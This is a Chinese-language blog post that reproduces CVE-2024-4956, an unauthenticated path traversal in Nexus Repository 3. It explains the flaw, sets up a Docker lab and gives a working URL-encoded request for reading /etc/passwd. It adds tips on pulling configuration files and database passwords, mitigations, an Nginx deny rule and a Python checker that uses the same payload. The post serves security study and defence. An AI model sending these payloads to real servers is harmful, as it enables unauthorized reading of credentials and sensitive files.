漏洞复现：CVE-2024-4956 Nexus3 路径遍历漏洞深度剖析-编程阁

1. 漏洞背景与影响范围

最近在安全圈里闹得沸沸扬扬的CVE-2024-4956漏洞，让不少使用Nexus3的企业捏了把汗。这个漏洞简单来说就是攻击者不需要任何账号密码，就能直接读取服务器上的任意文件。想象一下，如果你的保险箱钥匙就挂在门上，谁都能打开看看，这得多危险？

Nexus3作为目前最流行的软件仓库管理工具之一，被广泛用于管理Maven、Docker等构件。我见过不少互联网公司都在用，从中小创业公司到大型企业都有部署。这次受影响的版本跨度非常大，从3.0.0一直到3.68.0都中招了。这意味着如果你最近两年内装的Nexus3，很可能就在漏洞影响范围内。

这个漏洞最可怕的地方在于它的利用门槛极低。不需要任何技术背景，只要会复制粘贴URL就能实施攻击。我在测试环境里试过，用手机浏览器都能轻松读到/etc/passwd文件。攻击者可以借此获取系统配置、数据库密码、甚至是源码等敏感信息。

2. 漏洞原理深度解析

2.1 路径遍历漏洞的本质

这个漏洞的核心问题出在路径规范化处理上。正常情况下，Nexus3应该对用户请求的URL路径进行严格检查，防止出现"../"这样的路径穿越符号。但实际处理时，开发者犯了个低级错误——对URL编码后的%2f（即斜杠/的编码形式）检查不严。

我打个比方，这就像大楼保安只检查穿西装的人，结果黑客穿着西装样式的睡衣就混进去了。服务器看到%2f以为是普通字符，其实它代表的是目录分隔符。攻击者通过构造连续的%2f%2f%2f...%2f..%2f这样的字符串，就能像玩迷宫游戏一样绕开所有安全检查。

2.2 关键代码逻辑缺陷

通过反编译分析受影响版本的Nexus3代码，我发现问题出在ResourceStoreRequest类的路径处理逻辑上。具体来说，当处理GET请求时，程序会调用以下有问题的处理流程：

String path = URLDecoder.decode(requestPath, "UTF-8"); File targetFile = new File(baseDir, path);

这段代码有两个致命问题：首先它在解码URL后没有对路径进行规范化处理，其次直接使用File类拼接路径。攻击者可以利用连续的/../构造恶意路径，最终指向系统上的任意文件。

我在本地调试时特意加了个日志输出，发现当传入恶意URL时，最终解析出的路径确实跳出了web根目录。比如请求/%2f..%2fetc/passwd，实际访问的会是/server_root/../etc/passwd，也就是系统的/etc/passwd文件。

3. 漏洞复现实战演示

3.1 环境搭建准备

为了安全演示这个漏洞，我在本地用Docker搭建了一个漏洞环境：

docker run -d -p 8081:8081 --name nexus3-vuln sonatype/nexus3:3.68.0

这里特别提醒：千万不要在公网环境做这个实验！我见过有新手直接在公司的测试服务器上试，结果被安全团队找上门。建议使用完全隔离的本地环境，或者使用像Vagrant这样的虚拟化工具。

等容器启动完成后，访问http://localhost:8081就能看到Nexus3的登录页面。注意这时候我们不需要登录，因为漏洞是在未授权情况下触发的。

3.2 构造恶意请求

最经典的POC是读取/etc/passwd文件，用Burp Suite抓包后构造如下请求：

GET /%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 Connection: close

这里有个小技巧：%2f的数量不是固定的，但必须足够多才能绕过一些基本的路径检查。我测试发现最少需要8个连续的%2f才能稳定触发漏洞。如果请求失败，可以适当增加%2f的数量。

3.3 实战技巧分享

在实际渗透测试中，我总结出几个实用技巧：

如果目标服务器是Windows系统，可以尝试读取C:\Windows\win.ini等文件
除了/etc/passwd，还可以尝试读取Nexus3的配置文件，路径通常是/nexus-data/etc/nexus.properties
使用Intruder模块批量测试常见敏感文件路径，提高效率

记得有一次在授权测试中，我通过这个漏洞直接读到了数据库配置，里面明文存储着生产环境的数据库密码。这个案例充分说明了漏洞的严重性。

4. 防御方案与修复建议

4.1 紧急缓解措施

如果你正在使用受影响版本的Nexus3，我建议立即采取以下措施：

在网络层设置WAF规则，拦截包含多个%2f或..%2f的请求
限制Nexus3服务器的出站连接，防止敏感数据外泄
修改Nexus3的运行账号权限，确保其只能访问必要目录

我在客户现场就帮他们配置过这样的临时方案。通过Nginx添加如下规则很有效：

location ~* "%2f" { deny all; }

4.2 彻底修复方案

官方已经发布了修复版本，最简单的办法就是升级到3.68.1及以上版本。升级步骤很简单：

备份当前实例的nexus-data目录
下载新版本安装包
停止旧版本服务
安装新版本并恢复数据

不过要注意，升级前一定要做好完整备份。我有次升级时遇到数据兼容性问题，幸好有备份才没造成损失。另外，升级后建议再次验证漏洞是否修复，可以用之前的POC测试，但预期应该返回403错误。

5. 漏洞检测与监控

5.1 自动化检测脚本

为了方便日常安全检查，我写了个简单的Python检测脚本：

import requests def check_nexus_vuln(url): payload = "/%2f%2f%2f%2f%2f%2f%2f%2f..%2f..%2f..%2f..%2fetc/passwd" try: r = requests.get(url + payload, timeout=5) if "root:" in r.text: return True except: pass return False

使用时只需传入目标URL即可。不过再次强调，一定要事先获得授权才能运行这类检测工具。